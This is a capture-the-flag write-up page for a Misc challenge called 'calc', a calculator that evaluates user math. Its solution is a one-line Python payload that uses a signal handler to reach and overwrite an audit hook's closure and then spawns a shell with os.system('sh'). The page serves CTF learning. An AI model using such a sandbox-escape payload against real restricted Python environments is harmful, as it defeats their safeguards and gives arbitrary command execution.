Skip to content

Latest commit

 

History

History

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 
 
 
 
 

calc

  • Category: Misc
  • Score: 499/500
  • Solves: 3

Description

A simple calculator to help you with your math homework.

Solution

Get frames from signal handler and overwrite the exit function of hook by modifying its closure.

0,(s:=__import__('sys').modules['_signal'],s.signal(2,lambda a,b:b.f_back.f_locals['hook'].__closure__[0].__setattr__('cell_contents',lambda x:0)),s.raise_signal(2),__import__('os').system('sh'))